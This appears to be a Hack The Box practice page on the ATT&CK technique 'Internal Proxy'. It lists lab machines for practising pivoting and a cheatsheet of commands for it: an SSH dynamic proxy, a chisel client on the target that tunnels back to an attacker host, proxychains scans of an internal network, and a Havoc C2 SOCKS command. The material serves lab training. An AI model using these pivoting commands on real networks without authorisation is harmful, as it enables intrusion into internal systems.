T1090.001

Internal Proxy

Sub-technique of T1090 Proxy ↗

Setting up a SOCKS proxy on the victim to reach the internal network from your machine.

How it shows up on Hack The Box

chisel R:socks or ssh -D and then proxychains in front of every tool. Remember only TCP goes through SOCKS: use nmap -sT -Pn.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Showing 48 of 56. Open each catalog technique above to see them all.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Port forwarding and pivoting › SSH

SOCKS proxy for the whole internal network (dynamic) Attacker
ssh -D 1080 -N [email protected]

Port forwarding and pivoting › chisel

Client on the target Target
./chisel client 10.10.14.5:8000 R:socks

Opens a SOCKS5 proxy on port 1080 of your machine.

Windows Target
.\chisel.exe client 10.10.14.5:8000 R:socks

Port forwarding and pivoting › Others

Configure the proxy (end of /etc/proxychains4.conf) Attacker
socks5 127.0.0.1 1080
Scan through the proxy Attacker
proxychains -q nmap -sT -Pn --top-ports 100 172.16.1.10

Only TCP connect (-sT) works through proxychains, without ping (-Pn).

C2 and post-exploitation › Havoc

SOCKS to pivot
socks add 1080

Chisel › More uses

Use the SOCKS proxy with proxychains Attacker
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
proxychains -q curl http://172.16.1.10

Tools

Related cheatsheets